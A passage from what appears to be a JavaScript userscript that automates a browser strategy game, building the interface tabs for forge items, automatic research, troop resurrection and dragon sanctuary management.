					var ret = '' 
					+ '<table class=' + UID['row_style'] + '>'
					+ '	<tr class=' + UID['row_headers'] + ' align=center>' 
					+ '		<td>&nbsp;'+translate('name')+'&nbsp;</td>' 
					+ '		<td>&nbsp;'+translate('level')+'&nbsp;</td>'
					+ '		<td>&nbsp;'+translate('troops')+'&nbsp;</td>'
					+ '		<td>&nbsp;'+translate('status')+'&nbsp;</td>'
					+ '		<td>&nbsp;'+translate('action')+'&nbsp;</td>'					
					+ '	</tr>';
					for(var i=0; i<items.length; i++){
						ret += '<tr>' 
						+ '	<td>&nbsp;'+translate(items[i].name)+'&nbsp;'+getInfoEquipment(items[i])+'&nbsp;</td>' 
						+ '	<td align=center>&nbsp;'+items[i].level+'&nbsp;</td>' 
						+ '	<td>&nbsp;'+translate(items[i].troop_type.toLowerCase())+'&nbsp;</td>' 
						+ '	<td>&nbsp;'+( items[i].state=='equipped' ? translate('filter-equipped') : '' )+'&nbsp;</td>' 
						+ '	<td align=center>&nbsp;'+'&nbsp;</td>'
						+ '</tr>';
					}
					ret += '</table>';
					return ret;
				}
				
				function getIngredient() {
					var items = Seed.player.forge.items.ingredients;
					var ret = '<table class=' + UID['row_style'] + '><tr>';
					for(var i=0; i<items.length; i++){
						ret += '<td>'+translate(items[i].name)+'</td> ' 
						+ '<td> x '+  items[i].quantity + '<td>' 
						+ '</td>'+(((i+1)%3!==0) ? '<td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>' : '' );
						if((i+1)%3===0) {
							ret+='</tr><tr>';
						}
					}
					ret += '</tr></table>';
					return ret;
				}
				
				function getInfoEquipment(item) {
					var display = '';
					for(var s in item.stats) {
						display += translate(s) + ' : ' + item.stats[s] + '\n';
					}
					return '<span class="'+UID['information']+'" title="'+display+'" />';
				}
			},

			/** * stat sub tab */
			tabJobForge_tabStats: function() {
				var t = Tabs.Jobs;
				
				document.getElementById(UID['tabJobForge_tabAdventurers']).className = '';
				document.getElementById(UID['tabJobForge_tabAdventurers']).style.zIndex = 0;
				document.getElementById(UID['tabJobForge_tabForge']).className = '';
				document.getElementById(UID['tabJobForge_tabForge']).style.zIndex = 0;
				document.getElementById(UID['tabJobForge_tabInventory']).className = '';
				document.getElementById(UID['tabJobForge_tabInventory']).style.zIndex = 0;
				document.getElementById(UID['tabJobForge_tabStats']).className = 'selected';
				document.getElementById(UID['tabJobForge_tabStats']).style.zIndex = 1;

				t.forgeContentType = 3;

				var m = '<div class=' + UID['title'] + '>' + translate('Mission Stats') + '</div>' 
				+ '<div id=' + setUID('tabJobForge_tabStats_Statbox') + ' class=' + UID['status_ticker'] + '>' 
				+ '	<div id=' + setUID('tabJobForge_tabStats_Status') + '></div>' 
				+ '	<div id=' + setUID('tabJobForge_tabStats_Percent') + '></div>' 
				+ '	<br/>' 
				+ '	<center><input id=' + setUID('tabJobForge_tabStats_Clear') + ' type=button value="' + translate('Clear Stats') + '" /></center>' 
				+ '	<br>'
				+ '</div>';
				document.getElementById(UID['tabJobForge_Content']).innerHTML = m;
				document.getElementById(UID['tabJobForge_tabStats_Clear']).addEventListener('click', function() {
					clearStats();
					t.showStats();
				}, false);
				t.showStats();

				function clearStats() {
					var t = Tabs.Jobs;
					var now = serverTime();
					Data.stats.forgeAdv = {
						start_at: now,
						run_time: 0,
						total_missions: {},
						items: {}
					};
					t.showStats();
				}
			},
			
			/*** Jobs Tab - Research Sub-tab ***/
			tabJobResearch: function() {
				var t = Tabs.Jobs;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabJobResearch']).className = 'selected';
				document.getElementById(UID['tabJobResearch']).style.zIndex = 1;
				t.lastSubTab = 'tabJobResearch';

				t.contentType = 3;

				var n = '<div class=' + UID['title'] + '>' + translate('Research') + ' ' + translate('Automatically') + '</div>' + '<div class=' + UID['status_ticker'] + '>' + '	<center><input id=' + setUID('tabJobResearch_OnOff') + ' type=button /></center>' + '	<div id=' + setUID('tabJobResearch_Report') + ' class=' + UID['status_report'] + '>' + '		<table id=' + setUID('tabJobResearch_Table') + ' class=' + UID['table'] + '>' + '		</table>' + '	</div><br>' + '	<div id=' + setUID('tabJobResearch_Feedback') + ' class=' + UID['status_feedback'] + '></div>' + '</div>';
				document.getElementById(UID['tabJob_Header']).style.height = "205px";
				document.getElementById(UID['tabJob_Header']).innerHTML = n;

				var m = '<div id=' + setUID('tabJobResearch_Config') + ' class=' + UID['content'] + '>';
				var checkBoxs = [];
				var city = Seed.cities[CAPITAL.id];
				m += '<div class=' + UID['subtitle'] + '>' + city.name + '</div>' + '<table class=' + UID['table'] + '>';

				var i = 0;
				for (var id = 0; id < Seed.research.length ; id++) {
					var resName = Seed.research[id];
					var curLvl = Seed.player.research[resName] || 0;
					m += '	<tr>' + '			<td>' + '			<label>' + '			<input type=checkbox id=' + setUID('tabJobResearch_CB_' + resName) + ' ' + (Data.options.research.res_enable[0][resName] ? 'checked' : '') + ' ref=' + i + ' /> ' + translate(resName) + '			</label>' + '			</td>' + '			<td>' + '				<span class=jewel><b>' + curLvl + '</b></span>' + '			</td>' + '			<td>';

					var max_level = (Seed.stats.research[resName].level.length || 12) - 1;
					if (curLvl != max_level) {
						m += '	<td>' + '		<select id=' + setUID('tabJobResearch_Sel_' + resName) + ' ref=' + i + '>';
						for (var lvl = 0; lvl <= max_level; lvl++)
							m += '<option value=' + lvl + (curLvl > lvl ? ' style="display:none;"' : '') + '>' + lvl + '</option>';
						m += '	</select>' + '		</td>';
						checkBoxs.push(UID['tabJobResearch_CB_' + resName]);
					} else {
						m += '	<td>Max</td>';
					}
					m += '<td id=' + setUID('tabJobResearch_FB_' + resName) + ' class=jewel valign=top style="width:250px;white-space:normal;"></td></tr>';
					++i;
				}
				m += '</table></div>';
				document.getElementById(UID['tabJob_Content']).style.height = "480px";
				document.getElementById(UID['tabJob_Content']).innerHTML = m;
				for (var i = 0; i < checkBoxs.length; ++i) {
					document.getElementById(checkBoxs[i]).addEventListener('click', checkedResearch, false);
				}
				for (var id = 0; id < Seed.research.length ; id++) {
					var resName = Seed.research[id];
					var selectMenu = document.getElementById(UID['tabJobResearch_Sel_' + resName]);
					if (selectMenu) {
						try {
							if (!Data.options.research.res_cap[0][resName]) {
								var currentResearchLevel = t.getCurrentResearchLevel(resName);
								selectMenu.selectedIndex = currentResearchLevel;
								Data.options.research.res_cap[0][resName] = currentResearchLevel;
							} else {
								selectMenu.selectedIndex = Data.options.research.res_cap[0][resName];
								selectMenu.options[Data.options.research.res_cap[0][resName]].selected = true;
								if (Data.options.research.res_enable[0][resName]) {
									t.checkResearchReqs(resName);
								}
							}
						} catch (e) {}
						selectMenu.addEventListener('change', changeResearchCap, false);
					}
				}
				document.getElementById(UID['tabJobResearch_OnOff']).addEventListener('click', function() {
					var t = Tabs.Jobs;
					t.setResearchEnable(!Data.options.research.enabled);
				}, false);
				t.refreshResearchButton(Data.options.research.enabled);

				function checkedResearch(event) {
					var t = Tabs.Jobs;
					var n = toNum(event.target.getAttribute('ref'));
					Data.options.research.res_enable[0][Seed.research[n]] = event.target.checked;
					if (Data.options.research.res_enable[0][Seed.research[n]])
						t.checkResearchReqs(Seed.research[n]);
					if (Data.options.research.enabled) t.researchTick();
				}

				function changeResearchCap(event) {
					var t = Tabs.Jobs;
					var n = toNum(event.target.getAttribute('ref'));
					Data.options.research.res_cap[0][Seed.research[n]] = event.target[event.target.selectedIndex].value;
					event.target.style.backgroundColor = '';
					if (Data.options.research.res_enable[0][Seed.research[n]])
						t.checkResearchReqs(Seed.research[n]);
					if (Data.options.research.enabled) t.researchTick();
				}
				t.researchStatTick();
				t.clearTimers();
				t.jobsStatTimer = setInterval(t.researchStatTick, 1000);
			},

			/*** Jobs Tab - Resurrect Sub-tab ***/
			tabJobResurrect: function() {
				var t = Tabs.Jobs;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabJobResurrect']).className = 'selected';
				document.getElementById(UID['tabJobResurrect']).style.zIndex = 1;
				t.lastSubTab = 'tabJobResurrect';

				t.contentType = 4;

				var n = '<div class=' + UID['title_sr'] + '>' + translate('revive-troops') + '</div>' + '<div class=' + UID['status_ticker'] + '>' + '	<center><input id=' + setUID('tabJobResurrect_OnOff') + ' type=button /></center>' + '	<div id=' + setUID('tabJobResurrect_Report') + ' class=' + UID['status_report'] + '>' + '		<table id=' + setUID('tabJobResurrect_Table') + ' class=' + UID['table'] + '>' + '		</table>' + '	</div>' + '	<br>' + '	<div id=' + setUID('tabJobResurrect_Feedback') + ' class=' + UID['status_feedback'] + '></div>' + '</div>';
				document.getElementById(UID['tabJob_Header']).style.height = "205px";
				document.getElementById(UID['tabJob_Header']).innerHTML = n;

				var m = '<div id=' + setUID('tabJobResurrect_Config') + ' class=' + UID['content'] + '>';
				var sl = [],
					bm = [],
					cm = [];
				var city = Seed.cities[CAPITAL.id];

				var cap = getSoulCapacity(),
					capacity = '';
				if (cap && cap.max > 0) {
					var pct = cap.min / cap.max * 10000;
					var capacity = numf(cap.min, ' ') + ' / ' + numf(cap.max, ' ') + ' (' + numf(Math.round(pct / 100), ' ') + '%)';
				} else capacity = '';
				m += '<div class=' + UID['subtitle'] + '>' + '	<table class=' + UID['table'] + ' width=100%>' + '	<tr>' + '		<td align=left width=25%>&nbsp;</td>' + '		<td align=center width=40%>' + translate(Seed.cities[SPECTRAL_OUTPOST.id].name) + '</td>' + '		<td align=right width=25%><font color=yellow>' + capacity + '</font></td>' + '	</tr>' + '</table></div>' + '<table class=' + UID['table'] + '>' + '	<tr class=' + UID['row_headers'] + '>' + '		<td></td><td>' + translate('Quantity') + '</td><td>' + translate('revive-troops-total-souls') + '</td><td>' + translate('Action') + '</td><td>' + translate('Total') + '</td></tr>';
				for (var i = 0; i < all_unit_types.length; i++) {
					var num = Data.options.resurrect.res_max[SPECTRAL_OUTPOST.id][all_unit_types[i]];
					if (!num || isNaN(num)) num = 0;
					var souls = city.souls[all_unit_types[i]];
					if (!souls || isNaN(souls)) souls = 0;
					if ((/(DarkSlayer|Harrier|ShadowStalker|WarScarab|VoltRanger|DragonRider)/.test(all_unit_types[i]))) {
						m += '<tr>' + '		<td width=1% align=left>&nbsp</td>' + '		<td width=25%>' + '			<label>' + translate(all_unit_types[i]) + '</label>' + '		</td>' + '		<td align=right width=10%><div id=' + setUID('tabJobResurrect_Troop_' + i) + ' ref=' + i + '>N/A</div></td>' + '      <td></td>' + '		<td align=right width=10%>&nbsp;' + numf(souls, ' ') + '</td>' + '		<td align=right width=10%>&nbsp;<span class=jewel>(' + numf(getTroopNumbers(Seed.cities[CAPITAL.id], all_unit_types[i]).total, ' ') + ')</span></td>' + '		<td id=' + setUID('tabJobResurrect_FB_' + i) + ' class=jewel valign=top style="width:250px;white-space:normal;"></td>' + '		</tr>';
					} else {
						m += '<tr>' + '		<td width=1% align=left><label>' + '			<input type=checkbox id=' + setUID('tabJobResurrect_CB_' + i) + ' ' + (Data.options.resurrect.res_enable[SPECTRAL_OUTPOST.id][all_unit_types[i]] ? 'checked' : '') + ' ref=' + i + ' /> ' + '		</label></td>' + '		<td width=25%>' + '			<label>' + translate(all_unit_types[i]) + '</label>' + '		</td>' + '		<td align=middle width=10%><input type=text id=' + setUID('tabJobResurrect_Troop_' + i) + ' ref=' + i + ' maxlength=8 size=3 value="' + num + '" style="width:60px; text-align:right;" /></td>' + '      <td align=middle width=10%>' + '          <input id=' + setUID('tabJobResurrect_MaxTroop_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_blue'] + '" style="width:auto !important;" type=button value=' + translate('Max') + ' />' + '          <input id=' + setUID('tabJobResurrect_ClearTroop_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_blue'] + '" style="width:auto !important;" type=button value=X />' + '      </td>' + '		<td align=right width=10%>&nbsp;' + numf(souls, ' ') + '</td>' + '		<td align=right width=10%>&nbsp;<span class=jewel>(' + numf(getTroopNumbers(Seed.cities[CAPITAL.id], all_unit_types[i]).total, ' ') + ')</span></td>' + '		<td id=' + setUID('tabJobResurrect_FB_' + i) + ' class=jewel valign=top style="width:250px;white-space:normal;"></td>' + '		</tr>';
						sl.push(UID['tabJobResurrect_CB_' + i]);
						bm.push(UID['tabJobResurrect_MaxTroop_' + i]);
						cm.push(UID['tabJobResurrect_ClearTroop_' + i]);
					}
				}
				m += '</table></div>';
				document.getElementById(UID['tabJob_Content']).style.height = "450px";
				document.getElementById(UID['tabJob_Content']).innerHTML = m;

				for (var i = 0; i < sl.length; ++i) {
					document.getElementById(sl[i]).addEventListener('click', checkedResurrect, false);
				}
				for (var i = 0; i < bm.length; ++i) {
					document.getElementById(bm[i]).addEventListener('click', setMaxSoul, false);
				}
				for (var i = 0; i < cm.length; ++i) {
					document.getElementById(cm[i]).addEventListener('click', clearTroop, false);
				}
				for (var id = 0; id < all_unit_types.length; id++) {
					var maxSouls = document.getElementById(UID['tabJobResurrect_Troop_' + id]);
					try {
						var currentSouls = city.souls[all_unit_types[id]];
						if (!currentSouls || isNaN(currentSouls)) currentSouls = 0;
						if (!Data.options.resurrect.res_max[SPECTRAL_OUTPOST.id][all_unit_types[id]]) {
							maxSouls.value = currentSouls;
							Data.options.resurrect.res_max[SPECTRAL_OUTPOST.id][all_unit_types[id]] = currentSouls;
						} else {
							maxSouls.value = resurrect.res_max[SPECTRAL_OUTPOST.id][all_unit_types[id]];
							if (Data.options.resurrect.res_max[SPECTRAL_OUTPOST.id][all_unit_types[id]]) {
								var currentMax = Data.options.resurrect.res_max[SPECTRAL_OUTPOST.id][all_unit_types[id]];
								var checkQty = (currentSouls > currentMax) ? currentMax : currentSouls;
								t.checkResurrectReqs(all_unit_types[id], checkQty);
							}
						}
					} catch (e) {}
					maxSouls.addEventListener('change', changeResurrectMax, false);
				}
				document.getElementById(UID['tabJobResurrect_OnOff']).addEventListener('click', function() {
					var t = Tabs.Jobs;
					t.setResurrectEnable(!Data.options.resurrect.enabled);
				}, false);
				t.refreshResurrectButton(Data.options.resurrect.enabled);

				function setMaxSoul(event) {
					var n = toNum(event.target.getAttribute('ref'));
					document.getElementById(UID['tabJobResurrect_Troop_' + n]).value = Seed.cities[CAPITAL.id].souls[all_unit_types[n]];
				}

				function clearTroop(event) {
					var n = toNum(event.target.getAttribute('ref'));
					document.getElementById(UID['tabJobResurrect_Troop_' + n]).value = 0;
				}

				function checkedResurrect(event) {
					var t = Tabs.Jobs;
					var n = toNum(event.target.getAttribute('ref'));
					Data.options.resurrect.res_enable[SPECTRAL_OUTPOST.id][all_unit_types[n]] = event.target.checked;

					if (Data.options.resurrect.res_enable[SPECTRAL_OUTPOST.id][all_unit_types[n]]) {
						var currentSouls = Seed.cities[CAPITAL.id].souls[all_unit_types[n]];
						if (!currentSouls || isNaN(currentSouls)) currentSouls = 0;
						var currentMax = Data.options.resurrect.res_max[SPECTRAL_OUTPOST.id][all_unit_types[n]];
						var checkQty = (currentSouls > currentMax) ? currentMax : currentSouls;
						t.checkResurrectReqs(all_unit_types[n], checkQty);
					} else {
						try {
							document.getElementById(UID['tabJobResurrect_FB_' + n]).innerHTML = '';
							document.getElementById(UID['tabJobResurrect_Troop_' + n]).style.backgroundColor = "none";
						} catch (e) {}
					}
					if (Data.options.resurrect.enabled) t.resurrectTick();
				}

				function changeResurrectMax(event) {
					var t = Tabs.Jobs;
					var n = toNum(event.target.getAttribute('ref'));
					Data.options.resurrect.res_max[SPECTRAL_OUTPOST.id][all_unit_types[n]] = event.target.value;
					event.target.style.backgroundColor = '';

					if (Data.options.resurrect.res_enable[SPECTRAL_OUTPOST.id][all_unit_types[n]]) {
						var currentSouls = Seed.cities[CAPITAL.id].souls[all_unit_types[n]];
						if (!currentSouls || isNaN(currentSouls)) currentSouls = 0;
						var currentMax = Data.options.resurrect.res_max[SPECTRAL_OUTPOST.id][all_unit_types[n]];
						var checkQty = (currentSouls > currentMax) ? currentMax : currentSouls;
						t.checkResurrectReqs(all_unit_types[n], checkQty);
					}
					if (Data.options.resurrect.enabled) t.resurrectTick();
				}
				t.resurrectStatTick();
				t.clearTimers();
				t.jobsStatTimer = setInterval(t.resurrectStatTick, 1000);
			},

			/*** Jobs Tab - Train Sub-tab ***/
			tabJobSanctuary: function() {
				var t = Tabs.Jobs;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabJobSanctuary']).className = 'selected';
				document.getElementById(UID['tabJobSanctuary']).style.zIndex = 1;
				t.lastSubTab = 'tabJobSanctuary';

				t.contentType = 5;

				var n = '<div class=' + UID['title'] + '>' + translate('dragon-sanctuary') + '</div>' + '<div class=' + UID['status_ticker'] + ' style="margin-bottom: 5px !important">' + '	<center><input id=' + setUID('tabJobSanctFeeding_OnOff') + ' type=button /></center>' + '	<div id=' + setUID('tabJobSanct_Report') + ' class=' + UID['status_report'] + '>' + '		<table id=' + setUID('tabJobSanct_TableJobs') + ' class=' + UID['table'] + '>' + '		</table>' + '	</div>' + '	<br>' + '	<div id=' + setUID('tabJobSanct_Feedback') + ' class=' + UID['status_feedback'] + '></div>' + '</div>' + '<ul class=tabs>' + '	<li class="tab first"><a id=' + setUID('tabJobSanct_tabDragons') + '>' + translate('Dragons') + '</a></li>' + '	<li class="tab"><a id=' + setUID('tabJobSanct_tabBreeding') + '>' + translate('breeding-dragon') + '</a></li>' + '	<li class="tab"><a id=' + setUID('tabJobSanct_tabFeeding') + '>' + translate('upgrading-dragon') + '</a></li>' + '</ul>';
				document.getElementById(UID['tabJob_Header']).style.height = "225px";
				document.getElementById(UID['tabJob_Header']).innerHTML = n;

				var m = '<div id=' + setUID('tabJobSanct_Content') + ' style="height:430px; ; max-height:430px; overflow-y:auto">';
				document.getElementById(UID['tabJob_Content']).style.height = "430px";
				document.getElementById(UID['tabJob_Content']).innerHTML = m;
				document.getElementById(UID['tabJobSanct_tabDragons']).addEventListener('click', t.tabJobSanctDragons, false);
				document.getElementById(UID['tabJobSanct_tabBreeding']).addEventListener('click', t.tabJobSanctBreeding, false);
				document.getElementById(UID['tabJobSanct_tabFeeding']).addEventListener('click', t.tabJobSanctFeeding, false);
				document.getElementById(UID['tabJobSanctFeeding_OnOff']).addEventListener('click', function() {
					var t = Tabs.Jobs;
					t.setFeedingEnable(!Data.options.sanctuary.enabled);
				}, false);
				t.refreshFeedingButton(Data.options.sanctuary.enabled);
				switch (t.sanctContentType) {
					case 0:
						t.tabJobSanctDragons();
						break;
					case 1:
						t.tabJobSanctBreeding();
						break;
					case 2:
						t.tabJobSanctFeeding();
						break;
				}
				t.sanctStatTick();
				t.clearTimers();
				t.jobsStatTimer = setInterval(t.sanctStatTick, 1000);
			},

			/*** Jobs Tab - Sanctuary Sub-tab  - Dragons overview Sub-Sub-tab ***/
			tabJobSanctDragons: function() {
				var t = Tabs.Jobs;
				document.getElementById(UID['tabJobSanct_tabBreeding']).className = '';
				document.getElementById(UID['tabJobSanct_tabBreeding']).style.zIndex = 0;
				document.getElementById(UID['tabJobSanct_tabFeeding']).className = '';
				document.getElementById(UID['tabJobSanct_tabFeeding']).style.zIndex = 0;
				document.getElementById(UID['tabJobSanct_tabDragons']).className = 'selected';
				document.getElementById(UID['tabJobSanct_tabDragons']).style.zIndex = 1;

				t.sanctContentType = 0;
				var dragons = new Array(),
					roosts = new Array(),
					nests = new Array(),
					rookery = new Array(),
					used_roost = 0,
					avail_roost = Buildings.getCount(CAPITAL.id, 'Roost');
				for (var i in Seed.sanctuary_dragons) {
					var dragon = Seed.sanctuary_dragons[i];
					if (dragon.gender == null || !dragon.gender) dragon.gender = '';
					if ((!dragon.building_id || dragon.building_id == null) && dragon.gender != '' && is_null(dragon.abilities)) dragons.push(dragon);
					if ((!dragon.building_id || dragon.building_id == null) && dragon.gender != '' && !is_null(dragon.abilities)) rookery.push(dragon);
					else if (getBuildingById(CAPITAL.id, dragon.building_id).toLowerCase() == 'roost') {
						roosts.push(dragon);
						used_roost++;
					} else if (getBuildingById(CAPITAL.id, dragon.building_id).toLowerCase() == 'nest') nests.push(dragon);
				}
				var m = '<div class=' + UID['status_ticker'] + ' style="margin-top:6px !important">' + '<div class=' + UID['subtitle'] + '>' + translate('dragons') + '</div>' + '	<table class=' + UID['row_style'] + ' width=100%>';
				for (var d = 0; d < dragons.length; d++) {
					if (dragons[d].level !== undefined)
						m += '	<tr valign=top>' + '			<td class=left width=30%>' + translateByKey(dragons[d].subtype, 'rank-' + dragons[d].type, 'dragons') + '</td>' + '			<td width=10%><label>' + translate(dragons[d].gender) + '</label></td>' + '			<td width=5%><label>' + dragons[d].level + '</label></td>' + '			<td width=55%>' + dispAbility(dragons[d].abilities) + '</td>' + '	</tr>';
				}
				m += '</table>' + '<br><div class=' + UID['subtitle'] + '>' + translate('dragonroost') + '</div>' + '	<table class=' + UID['row_style'] + ' width=100%>';
				for (var d = 0; d < roosts.length; d++) {
					m += '	<tr valign=top>' + '			<td class=left width=30%>' + translateByKey(roosts[d].subtype, 'rank-' + roosts[d].type, 'dragons') + '<br>' + '			<input id=' + setUID('tabJobSanct_Remove_' + roosts[d].id) + ' ref=' + roosts[d].id + ' class="Xtrasmall ' + UID['btn_blue'] + '" style="width:auto !important;" type=submit value="' + translate('unequip').initCap() + '" />&nbsp;&nbsp;' + '			<input id=' + setUID('tabJobSanct_Delete_' + roosts[d].id) + ' ref=' + roosts[d].id + ' class="Xtrasmall ' + UID['btn_red'] + '" style="width:auto !important;" type=submit value="' + translate('dismiss') + '" /></td>' + '			<td width=10%><label>' + translate(roosts[d].gender) + '</label></td>' + '			<td width=5%><label>' + roosts[d].level + '</label></td>' + '			<td width=55%>' + dispAbility(roosts[d].abilities) + '</td>' + '	</tr>';
				}
				m += '</table>' + '<br><div class=' + UID['subtitle'] + '>' + translateByKey('masterrookery', undefined, 'dialogs') + ' - ' + Seed.sanctuary_dragons.player_slots + '</div>' + '	<table class=' + UID['row_style'] + ' width=100%>';
				for (var d = 0; d < rookery.length; d++) {
					m += '	<tr valign=top>' + '			<td class=left width=30%>' + translateByKey(rookery[d].subtype, 'rank-' + rookery[d].type, 'dragons') + '<br>' + '			<input id=' + setUID('tabJobSanct_Equip_' + rookery[d].id) + ' ref=' + rookery[d].id + ' class="Xtrasmall ' + UID['btn_blue'] + '" style="width:auto !important;" type=submit value="' + translate('Equip').initCap() + '" />&nbsp;&nbsp;' + '			<input id=' + setUID('tabJobSanct_Delete_' + rookery[d].id) + ' ref=' + rookery[d].id + ' class="Xtrasmall ' + UID['btn_red'] + '" style="width:auto !important;" type=submit value="' + translate('dismiss') + '" /></td>' + '			<td width=10%><label>' + translate(rookery[d].gender) + '</label></td>' + '			<td width=5%><label>' + rookery[d].level + '</label></td>' + '			<td width=55%>' + dispAbility(rookery[d].abilities) + '</td>' + '	</tr>';
				}
				m += '</table>' + '<br><div class=' + UID['subtitle'] + '>' + translate('dragonnest') + '</div>' + '	<table class=' + UID['row_style'] + ' width=100%>';
				for (var d = 0; d < nests.length; d++) {
					m += '	<tr valign=top>' + '			<td class=left width=30%>' + translateByKey(nests[d].subtype, 'rank-' + nests[d].type, 'dragons') + '</td>' + '			<td width=10%><label>' + translate(nests[d].gender) + '</label></td>' + '			<td width=5%><label>' + nests[d].level + '</label></td>' + '			<td width=55%>' + dispAbility(nests[d].abilities) + '</td>' + '	</tr>';
				}
				m += '</table>' + '</div>';
				document.getElementById(UID['tabJobSanct_Content']).innerHTML = m;
				for (var d = 0; d < roosts.length; d++) {
					document.getElementById(UID['tabJobSanct_Remove_' + roosts[d].id]).addEventListener('click', removeDragon, false);
					document.getElementById(UID['tabJobSanct_Delete_' + roosts[d].id]).addEventListener('click', dismissDragon, false);
				}
				for (var d = 0; d < rookery.length; d++) {
					document.getElementById(UID['tabJobSanct_Delete_' + rookery[d].id]).addEventListener('click', dismissDragon, false);
					document.getElementById(UID['tabJobSanct_Equip_' + rookery[d].id]).addEventListener('click', equipDragon, false);
					if (avail_roost <= used_roost) setButtonStyle(document.getElementById(UID['tabJobSanct_Equip_' + rookery[d].id]), false);
					else setButtonStyle(document.getElementById(UID['tabJobSanct_Equip_' + rookery[d].id]), true);
				}

				function dismissDragon(event) {
					var n = toNum(event.target.getAttribute('ref'));
					var dragon = translateByKey(Seed.sanctuary_dragons[n].subtype, 'rank-' + Seed.sanctuary_dragons[n].type, 'dragons');
					var msg = translate('dismiss') + ' ' + dragon;
					if (t.contentType == 5) t.jobFeedback(msg);
					var options = {
						dragon_id: n,
						method: 'delete'
					}; /*, building_id*/
					MyAjax.dragonHandle(options, function(rslt) {
						if (rslt.ok) {
							actionLog(msg);
						} else {
							verboseLog(translate('Error') + ' ' + msg + ': ' + rslt.errmsg);
							actionLog('<B>' + translate('Error') + ' ' + msg + '</B>: ' + rslt.errmsg);
							if (t.contentType == 5) t.jobFeedback(translate('Error') + ' ' + msg + ': ' + rslt.errmsg);
						}
						t.tabJobSanctDragons();
					});
				}

				function dispAbility(obj) {
					if (!obj || obj.length == 0) return '&nbsp;';
					var m = '<table width=100%>';
					for (var a = 0; a < obj.length; a++) {
						var name = translateByKey('name', obj[a].name.replace(/ |_/g, '-'), 'boosts') + ' ' + obj[a].level;
						var desc = translateByKey('description', obj[a].name.replace(/ |_/g, '-'), 'boosts');
						var rate = ((obj[a].rate < 1) ? numf(obj[a].rate * 100) + '%' : numf(obj[a].rate));
						if (desc.indexOf('n%') > 0)
							desc = desc.substring(0, desc.indexOf('n%')) + rate + desc.substring(desc.indexOf('n%') + 2);
						if (desc.indexOf('%boost%') > 0)
							desc = desc.substring(0, desc.indexOf('%boost%')) + rate + desc.substring(desc.indexOf('%boost%') + 7);
						m += '<tr title="' + desc + '"><td><span class=jewel>' + name + '</span></td></tr>';
					}
					m += '</table>';
					return m;
				}

				function removeDragon(event) {
					var n = toNum(event.target.getAttribute('ref'));
					var dragon = translateByKey(Seed.sanctuary_dragons[n].subtype, 'rank-' + Seed.sanctuary_dragons[n].type, 'dragons');
					var msg = translate('Remove dragon from roost') + ' ' + dragon;
					if (t.contentType == 5) t.jobFeedback(msg);
					var options = {
						dragon_id: n,
						method: 'put'
					}; /*, building_id*/
					MyAjax.dragonHandle(options, function(rslt) {
						if (rslt.ok) {
							actionLog(msg);
						} else {
							verboseLog(translate('Error') + ' ' + msg + ': ' + rslt.errmsg);
							actionLog('<B>' + translate('Error') + ' ' + msg + '</B>: ' + rslt.errmsg);
							if (t.contentType == 5) t.jobFeedback(translate('Error') + ' ' + msg + ': ' + rslt.errmsg);
						}
						t.tabJobSanctDragons();
					});
				}

				function equipDragon(event) {
					var roostList = Buildings.getList(CAPITAL.id, 'Roost'),
						found = false,
						roost_id = 0;
					for (var i = 0; i < roostList.length && !found; i++) {
						var is_in_list = false;
						for (var d in Seed.sanctuary_dragons) {
							var dragon = Seed.sanctuary_dragons[d];
							if (getBuildingById(CAPITAL.id, dragon.building_id).toLowerCase() == 'roost' && dragon.building_id == roostList[i].id) is_in_list = true;
						}
						if (!is_in_list) {
							found = true;
							roost_id = roostList[i].id;
						}
					}
					if (!found || roost_id == 0 || !roost_id) return;
					var n = toNum(event.target.getAttribute('ref'));
					var dragon = translateByKey(Seed.sanctuary_dragons[n].subtype, 'rank-' + Seed.sanctuary_dragons[n].type, 'dragons');
					var msg = translate('select-dragon') + ' ' + dragon;
					if (t.contentType == 5) t.jobFeedback(msg);
					var options = {
						dragon_id: n,
						method: 'put',
						building_id: roost_id
					};
					MyAjax.dragonHandle(options, function(rslt) {
						if (rslt.ok) {
							actionLog(msg);
						} else {
							verboseLog(translate('Error') + ' ' + msg + ': ' + rslt.errmsg);
							actionLog('<B>' + translate('Error') + ' ' + msg + '</B>: ' + rslt.errmsg);
							if (t.contentType == 5) t.jobFeedback(translate('Error') + ' ' + msg + ': ' + rslt.errmsg);
						}
						t.tabJobSanctDragons();
					});
				}
			},

			/*** Jobs Tab - Sanctuary Sub-tab  - Dragons breeding Sub-Sub-tab ***/
			tabJobSanctBreeding: function() {
				var t = Tabs.Jobs;
				document.getElementById(UID['tabJobSanct_tabDragons']).className = '';
				document.getElementById(UID['tabJobSanct_tabDragons']).style.zIndex = 0;
				document.getElementById(UID['tabJobSanct_tabBreeding']).className = 'selected';
				document.getElementById(UID['tabJobSanct_tabBreeding']).style.zIndex = 1;
				document.getElementById(UID['tabJobSanct_tabFeeding']).className = '';
				document.getElementById(UID['tabJobSanct_tabFeeding']).style.zIndex = 0;

				t.sanctContentType = 1;
				var m = '<div class=' + UID['status_ticker'] + ' style="margin-top:6px !important">' + '<div class=' + UID['subtitle'] + '>' + translate('breeding-dragon') + '</div>' + '	<table class=' + UID['table'] + ' width=100%>' + '		<tr class=' + UID['row_headers'] + '>' + '			<td valign=middle width=50%><b>' + translate('Male') + '</b></td>' + '			<td valign=middle width=50%><b>' + translate('Female') + '</b></td>' + '		</tr>' + '		<tr>' + '			<td align=center>' + dragonSelect(Data.options.sanctuary.male_id, 'M') + '</td>' + '			<td align=center>' + dragonSelect(Data.options.sanctuary.female_id, 'F') + '</td>' + '		</tr>' + '		<tr valign=top>' + '			<td align=center><div id=' + setUID('tabJobSanct_maleInfos') + '></div></td>' + '			<td align=center><div id=' + setUID('tabJobSanct_femaleInfos') + '></div></td>' + '		</tr>' + '	</table>' + '	<br><center><input type=button value="' + translate('dragonden-breed-dragon') + '" id=' + setUID('tabJobSanct_breed') + ' /></center><br>' + '</div>';
				document.getElementById(UID['tabJobSanct_Content']).innerHTML = m;
				document.getElementById(UID['tabJobSanct_dragonid_M']).addEventListener('change', dragonChanged, false);
